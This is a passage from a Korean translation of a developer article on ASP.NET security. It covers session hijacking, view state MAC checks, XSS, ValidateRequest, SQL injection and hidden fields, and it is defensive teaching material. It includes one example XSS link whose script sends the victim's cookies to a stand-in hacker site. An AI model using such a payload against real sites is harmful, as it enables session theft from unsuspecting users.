FormsAuthentication.GetRedirectUrl(user, isPersistent);
Response.Redirect(targetUrl);
}
}
(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는
영문으로 제공되며 기사에는 설명을 위해 번역문으로 제공됩니다.)
자신의 로그인 양식에서 이 코드를 사용하면 인증 쿠키의 수명을 정밀 조정할 수 있습니다.
쿠키는 특정 사용자의 세션 상태를 검색하는 데도 사용됩니다. 해당 세션의 ID는 요청과 함께 이동하는 쿠키에 저장되어 해당 브라우저 컴퓨터에 저장됩니다. 다시 말하지만 세션 쿠키가 유출되는 경우 해커가 해당 시스템으로 침입하여 다른 사용자의 세션 상태에 액세스하는 데 사용될 수 있습니다. 이러한 현상은 지정된 세션이 활성 상태인 동안(보통 20분 미만)에만 발생 가능합니다. 이렇게 스푸핑된 세션 상태를 통해 수행되는 공격을 세션 가로채기라고 합니다. 세션 가로채기에 대한 자세한 내용은Theft On The Web: Prevent Session Hijacking
을 참조하십시오.이러한 공격은 얼마나 위험해질 수 있을까요? 대답하기가 어렵군요. 해당 웹 사이트에서 수행하는 작업, 그리고 보다 중요하게는 해당 페이지의 디자인 방법에 따라 차이가 있습니다. 예를 들어 다른 사람의 세션 쿠키를 알아내서 이를 해당 사이트에 있는 페이지에 대한 요청에 첨부할 수 있다고 가정해 보십시오. 페이지를 로드하여 해당 일반 사용자 인터페이스를 통해 작업할 수 있습니다. 페이지에 코드를 주입할 수 없으며, 해당 페이지에서 다른 사용자의 세션 상태를 사용하여 현재 작업 중인 내용을 제외하고 페이지 내용을 변경할 수도 없습니다. 이는 그 자체로는 나쁠 것이 없지만 세션의 정보가 중요한 경우 해커가 이를 바로 공격에 악용할 수 있습니다. 해커는 세션 저장소의 콘텐츠를 검색할 수는 없지만 합법적으로 로그인한 것처럼 저장된 내용을 사용할 수는 있습니다. 예를 들어 사용자가 사이트를 검색하면서 쇼핑 카트에 품목을 추가하는 전자 상거래 응용 프로그램을 가정해 보십시오.
응용 프로그램 페이지의 디자인은 세션 가로채기 공격을 막는 데 중요합니다. 그러나 두 가지 질문이 아직 남아 있습니다. 즉, 쿠키 도난을 막는 방법과 가로채기를 감지 및 차단하기 위해 ASP.NET에서 수행하는 작업입니다.
ASP.NET 세션 쿠키는 아주 간단하며 세션 ID 문자열만을 포함하도록 제한되어 있습니다. ASP.NET 런타임은 쿠키에서 세션 ID를 추출해서 이를 활성 세션에 대해 검사합니다. ID가 유효하면 ASP.NET은 해당 세션에 연결하여 작업을 계속 진행합니다. 이러한 동작으로 인해 해커가 유효한 세션 ID를 훔치거나 알아낸 경우 매우 간단하게 공격을 할 수 있습니다.
클라이언트 PC에 대한 무단 액세스뿐 아니라 XSS 및 "man-in-the-middle" 공격을 통해서도 유효한 쿠키를 가져올 수 있습니다. 쿠키 도난을 방지하려면 XSS와 모든 변종 방식이 성공하지 못하도록 최적의 방식으로 보안을 구현해야 합니다.
대신, 세션 ID 추측을 방지할 때는 자신의 기술을 과대 평가하지만 않으면 됩니다. 세션 ID를 추측한다는 것은 유효한 세션 ID 문자열을 예측하는 방법을 알고 있음을 의미합니다. ASP.NET에서 사용하는 알고리즘(15개의 난수가 URL 사용 문자로 매핑됨)의 경우 우연히 유효한 ID를 추측할 가능성은 거의 없다고 할 수 있습니다. 따라서 기본 세션 ID 생성기를 자신이 사용하는 세션 ID 생성기로 바꿔야 할 이유는 없습니다. 그렇게 하면 대부분의 경우 공격에 더 취약해집니다.
세션 가로채기의 보다 심각한 문제는 공격자가 쿠키를 훔치거나 추측한 후에는 ASP.NET에서 쿠키의 악용을 감지할 수 있는 방법이 거의 없다는 것입니다. 그 이유는 ASP.NET의 역할이 ID의 유효성을 확인하고 쿠키의 출처를 묻는 것으로 제한되어 있기 때문입니다.
저의 Wintellect 동료인 Jeff Prosise가MSDN Magazine에 세션 가로채기에 관한 훌륭한 기사를 썼습니다. 훔친 세션 ID 쿠키를 사용하는 공격을 완벽하게 방어하는 것은 사실상 불가능하다는 그의 결론은 다소 허탈한 것이 사실이지만, Jeff가 개발한 코드는 보다 높은 수준의 보안을 구축하는 데 도움이 됩니다. Jeff는 세션 ID 쿠키에 대한 들어오는 요청과 나가는 응답을 모니터링하는 HTTP 모듈을 만들었습니다. 이 모듈은 나가는 세션 ID에 해시 코드를 추가하여 공격자가 이 쿠키를 다시 사용하는 것을 어렵게 만듭니다. 자세한 내용은여기서 확인할 수 있습니다.
뷰 상태는 같은 페이지에 대한 두 개의 연속 요청 간에 컨트롤 상태를 유지하는 데 사용됩니다. 기본적으로 뷰 상태는 Base64를 사용하여 인코딩되며 변조 방지를 위해 해시 값으로 서명되어 있습니다. 기본 페이지 설정을 변경하지 않는 한 뷰 상태가 변조될 위험은 없습니다. 공격자가 뷰 상태를 수정하거나 올바른 알고리즘을 사용하여 뷰 상태를 다시 만드는 경우에도 ASP.NET은 그러한 시도를 감지하고 예외를 발생시킵니다. 변조된 뷰 상태가 서버 컨트롤의 상태를 수정하기는 해도 꼭 위험한 것은 아니지만, 심각한 감염의 수단이 될 수는 있습니다. 그러므로 기본적으로 발생하는 MAC(시스템 인증 코드) 교차 확인을 제거하지 않는 것이 좋습니다. 그림 2를 참조하십시오.
그림 2. EnableViewStateMac가 설정되어 있을 때 뷰 상태를 본질적으로 변조 방지 상태로 만들기
MAC 확인이 설정되어 있으면(기본값임) serialize된 뷰 상태에는 일부 서버쪽 값 및 뷰 상태 사용자 키(있을 경우)에서 가져온 해시 값이 추가됩니다. 이 뷰 상태가 포스트백(postback)되면 해시 값은 새 서버쪽 값을 사용하여 다시 계산된 후 저장된 값과 비교됩니다. 두 값이 일치하면 해당 요청은 올바른 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 해커가 뷰 상태를 제거하고 다시 만들 수 있더라도 올바른 해시를 제공하려면 서버 저장 값을 알아야 합니다. 특히 machine.config의 <machineKey> 항목에서 참조되는 시스템 키를 알고 있어야 합니다.
기본적으로<machineKey>항목은 자동 생성되며 Windows LSA(로컬 보안 기관)에 실제로 저장됩니다. 뷰 상태의 시스템 키가 모든 시스템에서 동일해야 하는 웹 팜의 경우에만 이 항목을 machine.config 파일에서 일반 텍스트로 지정해야 합니다.
뷰 상태 MAC 확인은@Page지시문 특성인EnableViewStateMac에 의해 제어됩니다. 이 특성은 기본적으로 true로 설정되어 있습니다. 이를 해제하지 마십시오. 해제하는 경우에는 뷰 상태 변조 한 번 클릭 공격이 성공할 가능성이 매우 높아집니다.
교차 사이트 스크립팅(XSS)은 1999년 이래로 뛰어난 개발자들이 줄기차게 대응해 온 공격 유형입니다. 간단히 말하자면, XSS는 코드의 허점을 악용하여 해커의 실행 코드를 다른 사용자의 브라우저 세션에 삽입합니다. 삽입된 코드는 실행될 경우 다음 번에 사용자가 페이지로 돌아오면 악성 코드가 다시 실행되도록 여러 가지 작업을 실행합니다. 여기에는 쿠키를 훔쳐 복사본을 해커가 제어하는 웹 사이트로 업로드하고, 사용자의 웹 세션을 모니터링하여 데이터를 전달하고, 해킹한 페이지에 잘못된 정보를 제공하여 동작과 모양을 수정하고, 코드 자체를 영구적으로 만드는 등의 작업이 포함됩니다. XSS 공격의 기본 사항에 대한 자세한 내용은 TechNet 기사Cross-site Scripting Overview
를 참조하십시오.XSS 공격을 가능하게 하는 코드의 허점은 무엇일까요?
동적으로 HTML 페이지를 생성하며 해당 페이지로 반향되는 입력의 유효성을 확인하지 않는 웹 응용 프로그램이 XSS의 공격 목표가 됩니다. 여기서 입력이란 쿼리 문자열, 쿠키 및 양식 필드의 내용을 의미합니다. 이러한 내용이 적절한 온전성 검사 없이 온라인 상태가 되면 해커가 이를 조작하여 클라이언트 브라우저에서 악성 스크립트를 실행할 위험이 있습니다.앞에서 언급한 한 번 클릭 공격도 XSS의 최신 변종입니다. 일반적인 XSS 공격을 수행하려면 의심하지 않는 사용자가 이스케이프된 스크립트 코드를 포함하는 잘못된 링크를 클릭하여 이동해야 합니다. 그러면 악성 코드가 취약한 페이지로 전송되어 출력됩니다. 다음은 이러한 공격 결과의 예입니다.
<a href="http://www.vulnerableserver.com/brokenpage.aspx?
Name= <script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx? Cookie='
+ document.cookie); </script>">Click to claim your prize</a>
사용자가 외관상 안전해 보이는 링크를 클릭하면 해당 사용자의 컴퓨터에 있는 모든 쿠키를 유출해 해커 웹 사이트의 페이지로 전송하는 스크립트 코드가 취약한 페이지로 전달됩니다.
XSS는 공급업체만의 문제가 아니며, Internet Explorer의 허점만을 이용하는 것도 아닙니다. 현재 유통되고 있는 모든 웹 서버와 브라우저에 영향을 줄 수 있습니다. 또한 보다 심각한 것은 이를 수정하기 위한 단일 패치가 없다는 것입니다. 그럼에도 특수한 방법과 올바른 코딩 작업을 적용하면 XSS로부터 페이지를 보호할 수 있습니다. 또한, 사용자가 링크를 클릭하지 않아도 공격자는 공격을 시작할 수 있음을 주의해야 합니다.
XSS를 방지하려면 우선 올바른 입력을 확인하여 받아들이고 나머지는 모두 거부해야 합니다. XSS 공격을 방지하기 위한 상세한 검사 목록은 Microsoft의 필독 도서인Writing Secure Code(Michael Howard/David LeBlanc 공저)에 나와 있습니다. 특히 13장을 주의 깊게 읽어 보십시오.
잠행성 XSS 공격을 차단하는 주된 방법은 입력 데이터 형식에 관계없이 입력에 견고하고 뛰어난 유효성 검사 계층을 추가하는 것입니다. 예를 들어, 이 추가 과정을 거치지 않으면 일반적으로는 무해한 RGB 색이 제어되지 않은 스크립트를 페이지로 직접 가져올 수 있는상황
도 있습니다.ASP.NET 1.1에서는@Page지시문의ValidateRequest특성이 설정되어 있으면 사용자가 쿼리 문자열, 쿠키 또는 양식 필드에서 위험할 수 있는 HTML 태그를 전송하지 않는지 확인합니다. 이와 같은 전송이 감지되면 예외가 발생하고 해당 요청은 중단됩니다. 이 특성은 기본적으로 설정되어 있으므로 보호를 위해 따로 작업을 수행할 필요가 없습니다. HTML 태그를 전달하도록 허용하려면 이 특성을 해제해야 합니다.
<%@ Page ValidateRequest="false" %>
그러나ValidateRequest는 완벽한 방어 기능이 아니며 효과적인 유효성 검사 계층을 대체할 수도 없습니다.여기
있는 자료를 읽어 보면 이 기능이 실제로 작동하는 방법에 대한 유용한 정보를 얻을 수 있습니다. 이 기능은 기본적으로 정규식을 적용하여 일부 유해할 수 있는 시퀀스를 잡아냅니다.참고 ValidateRequest기능에는 원래결함이 있습니다 . 이 기능이 예상대로 작동하도록 하려면패치 를 적용해야 합니다. 이는 유용한 정보이지만 간과되는 경우가 많았습니다. 저도 지금에야 제 컴퓨터 중 한 대에 아직 이 결함이 있다는 것을 알았습니다. 당장 점검해 보십시오.
ValidateRequest는 설정된 상태로 유지하면 됩니다. 해제해도 되지만 합당한 이유가 있어야 합니다. 보다 나은 서식 지정 옵션을 사용하기 위해 사용자가 사이트에 HTML을 게시할 수 있어야 하는 경우를 한 예로 들 수 있습니다. 이 경우에도 허용되는 HTML 태그(<pre>,<b>,<i>,<p>,<br>,<hr>) 수를 제한하고 그 외에 다른 태그는 허용되거나 수락되지 않도록 하는 정규식을 작성해야 합니다.
다음은 XSS로부터 ASP.NET 응용 프로그램을 보호하는 데 도움이 되는 몇 가지 팁입니다.
요약하자면,ValidateRequest특성을 사용하되 완전히 믿지는 말고 항상 확인하십시오. 시간을 할애하여 XSS와 같은 보안 위협을 근본적으로 이해하고, 모든 사용자 입력을 의심하는 습관을 들여 한 가지 핵심 사항을 중심으로 하는 방어 전략을 계획하십시오.
SQL 주입은 또 하나의 잘 알려진 공격 형태로, 필터링되지 않은 사용자 입력을 사용하여 데이터베이스 명령을 만드는 응용 프로그램을 공격합니다. 응용 프로그램이 양식 필드에서 사용자가 입력한 내용을 사용하여 SQL 명령 문자열을 만드는 경우, 악의적인 사용자가 해당 페이지에 액세스하여 악성 매개 변수를 입력해 쿼리 특성을 수정할 수 있는 위험이 있습니다. SQL 주입에 대한 자세한 내용은여기
에 나와 있습니다.다양한 방식으로 SQL 주입 공격을 막을 수 있습니다. 가장 일반적으로 사용되는 기술은 다음과 같습니다.
저장 프로시저를 사용하면 공격을 받을 가능성이 상당히 줄어듭니다. 실제로 저장 프로시저를 사용하면 SQL 문자열을 동적으로 작성할 필요가 없습니다. 또한 SQL Server에서는 지정된 형식에 대해 모든 매개 변수의 유효성을 검사합니다. 이것만으로는 완벽하게 안전한 기술이라고 할 수 없지만, 유효성 검사를 함께 사용하면 안전성이 보다 높아집니다.
더 나아가 테이블 삭제 등과 같이 손실이 클 수 있는 작업은 권한이 있는 사용자만 수행할 수 있도록 해야 합니다. 이를 위해서는 응용 프로그램 중간 계층을 주의해서 디자인해야 합니다. 역할을 중심으로 하는 디자인이 좋습니다. 이는 보안 때문만은 아닙니다. 사용자를 역할별로 그룹으로 묶어서 각 역할에 대해 최소한 권한 집합만을 가진 계정을 정의합니다.
몇 주 전에 Wintellect 웹 사이트가 복잡한 형태의 SQL 주입 공격을 받았습니다. 해커가 FTP 스크립트를 만들고 실행하여 실행 파일을 다운로드(악의적인지는 모르겠군요)하려고 했습니다. 다행히도 공격은 실패했습니다. 공격을 막은 것은 강력한 입력 유효성 검사, 저장 프로시저 사용 및 SQL Server 권한 사용 덕분이 아닐까요.
원치 않는 SQL 코드 주입을 피하려면 아래의 지침을 따르십시오.
이전의 ASP에서는 숨겨진 필드를 통해서만 요청 간에 데이터를 유지할 수 있었습니다. 다음 번 요청에서 가져와야 하는 데이터는 숨겨진<input>필드로 압축되어 왕복됩니다. 클라이언트에서 누군가가 필드에 저장된 값을 수정하면 어떻게 될까요? 일반 텍스트의 경우 서버쪽 환경에서는 이를 해결할 방법이 없습니다. 페이지와 개별 컨트롤의 ASP.NETViewState속성에는 다음 두 가지 목적이 있습니다. 첫 번째는ViewState를 통해 요청 간에 상태를 유지하는 것이고, 두 번째는 보호된 변조 방지 숨겨진 필드에서 사용자 지정 값을 저장하는 것입니다.
그림 2와 같이 변조를 감지하기 위해 모든 요청에서 확인되는 해시 값이 뷰 상태에 추가됩니다. 몇 가지 경우를 제외한다면 ASP.NET에서는 숨겨진 필드를 사용하지 않아도 됩니다. 같은 작업이라도 뷰 상태가 훨씬 더 안전한 방법으로 작업을 수행하기 때문입니다. 가격이나 신용 카드 정보 같은 중요한 값을 일반 숨겨진 필드에 저장하는 것은 해커의 침입을 위해 문을 열어 주는 것이나 다름없습니다. 뷰 상태를 사용하면 해당 데이터 보호 메커니즘으로 인해 이러한 잘못된 작업의 위험도 줄일 수가 있습니다. 그러나 뷰 상태가 변조를 방지하기는 하지만 암호화하지 않는 한 신뢰성을 보장하지는 못하므로, 신용 카드 정보를 뷰 상태에 저장하는 것 역시 위험합니다.
ASP.NET에서 숨겨진 필드를 사용할 수 있는 경우는 서버로 데이터를 다시 보내야 하는 사용자 지정 컨트롤을 빌드할 때입니다. 예를 들어 열 순서 재지정을 지원하는DataGrid컨트롤을 새로 만드는 경우가 있습니다. 포스트백(postback)에서 새 순서를 다시 서버로 전달해야 합니다. 이때 이 정보를 숨겨진 필드에 저장합니다.
숨겨진 필드가 읽기/쓰기 필드인 경우, 즉 클라이언트가 이 필드에 쓸 수 있는 경우에는 해킹 방지를 위해 할 수 있는 일은 거의 없습니다. 텍스트를 해시하거나 암호화할 수 있지만 이를 통해 해킹이 완벽하게 방지된다고는 확신할 수 없습니다. 가장 좋은 방어 수단은 숨겨진 필드에 비활성 및 무해한 정보만 포함되도록 하는 것입니다.
ASP.NET에서는 serialize된 모든 개체를 인코딩 및 해시하는 데 사용할 수 있는 잘 알려지지 않은 클래스를 제공합니다. 이는LosFormatter클래스로,ViewState구현에서 클라이언트로 왕복되는 인코딩된 텍스트를 만드는 데 사용하는 것과 동일한 클래스입니다.
private string EncodeText(string text)
{StringWriter writer = new StringWriter();
LosFormatter formatter = new LosFormatter();
formatter.Serialize(writer, text);
return writer.ToString();
}
앞에 나와 있는 코드 조각에서는LosFormatter를 사용하여 뷰 상태와 비슷하고 인코딩 및 해시된 콘텐츠를 만드는 방법을 보여 줍니다.
마지막으로 언급하자면, 최소한 가장 일반적인 두 가지 공격(일반 XSS와 한 번 클릭)은 의심하지 않는 공격 대상에게 스푸핑된 유인 링크를 클릭하도록 하는 방법으로 수행되는 경우가 많습니다. 스팸 방지 필터 기능을 사용하고 있음에도 불구하고 받은 편지함에서 그러한 링크가 들어 있는 메일을 여러 번 발견했습니다. 대량의 전자 메일 주소 목록을 쉽게 구입할 수 있습니다. 그러한 목록을 만드는 데 사용되는 주요 기술 중 하나는 웹 사이트의 공개 페이지를 검색하여 전자 메일 주소처럼 보이는 것은 모두 찾아 수집해 오는 것입니다.
페이지에 전자 메일 주소가 표시되어 있으면 웹 로봇으로 언제든지 가져올 수 있습니다. 정말이냐구요? 이는 전자 메일 주소 표시 방법에 따라 달라집니다. 주소를 하드 코드로 입력했다면 수집될 가능성이 높습니다. dino-at-microsoft-dot-com 등의 대체 표현을 사용하는 경우에는 웹 로봇이 주소를 수집하지 못하는지도 확실치 않을 뿐더러 적법한 연락처를 지정하려는 사용자도 페이지를 읽을 때 불편할 것입니다.
무엇보다도 전자 메일 주소를mailto링크처럼 동적으로 생성할 수 있는 방법을 찾아야 합니다. 이는 Marco Bellinaso가 작성한 무료 구성 요소를 통해 수행할 수 있습니다. 전체 소스 코드가 포함된 이 구성 요소를DotNet2TheMax
웹 사이트에서 받을 수 있습니다.의심할 여지 없이 모든 런타임 환경 중 가장 위험한 환경은 웹일 것입니다. 누구나 웹 사이트에 액세스하여 올바른 데이터와 악의적인 데이터를 전달할 수 있기 때문입니다. 그러나 이를 방지하기 위해 사용자 입력을 받아들이지 않는 웹 응용 프로그램을 만드는 것도 의미가 없습니다.
그러므로 아무리 강력한 방화벽을 사용하고 자주 패치를 적용해도 본질적으로 취약한 웹 응용 프로그램을 실행한다면 공격자는 주 출입문(포트 80)을 통해 시스템으로 진입할 수 있습니다.
ASP.NET 응용 프로그램도 다른 웹 응용 프로그램보다 더 취약하지도, 안전하지도 않습니다. 코딩 방법, 현장 경험 및 팀워크에 따라 응용 프로그램이 안전해질 수도 있고 취약해질 수도 있습니다. 네트워크가 안전하지 않다면 어떤 응용 프로그램도 안전하지 않습니다. 마찬가지로, 네트워크를 안전하게 잘 관리하더라도 응용 프로그램에 결함이 있으면 공격자가 침입할 것입니다.
ASP.NET의 장점은 여러 과정을 거쳐야 통과가 가능한 높은 수준의 보안을 구축할 수 있는 뛰어난 도구를 제공한다는 것입니다. 그래도 아직은 충분한 수준이 아닙니다. ASP.NET의 기본 제공 솔루션을 무시해서도 안 되겠지만 전적으로 의지하지는 마십시오. 그리고 일반적인 공격에 대해 가능한 한 많은 정보를 파악하십시오.
이 기사에는 기본 제공 기능에 대한 자세한 목록과 공격 및 방어에 대한 몇 가지 배경 정보가 나와 있습니다. 진행 중인 공격을 감지하는 기술은 다른 기사에서 확인해 보시기 바랍니다.
Writing Secure Code(Michael Howard/David LeBlanc 공저)
TechNet Magazine, Theft On The Web: Prevent Session Hijacking
Dino Esposito는 이탈리아에 살고 있는Wintellect
강사이자 컨설턴트입니다. Microsoft Press에서 출간된Programming Microsoft ASP.NET 및 최신Introducing Microsoft ASP.NET 2.0 의 저자인 그는 주로 ASP.NET 및 ADO.NET에 대한 강의와 회의 강연을 하고 있습니다. 자세한 내용은 Dino의 블로그(http://weblogs.asp.net/despos )를 확인해 보십시오.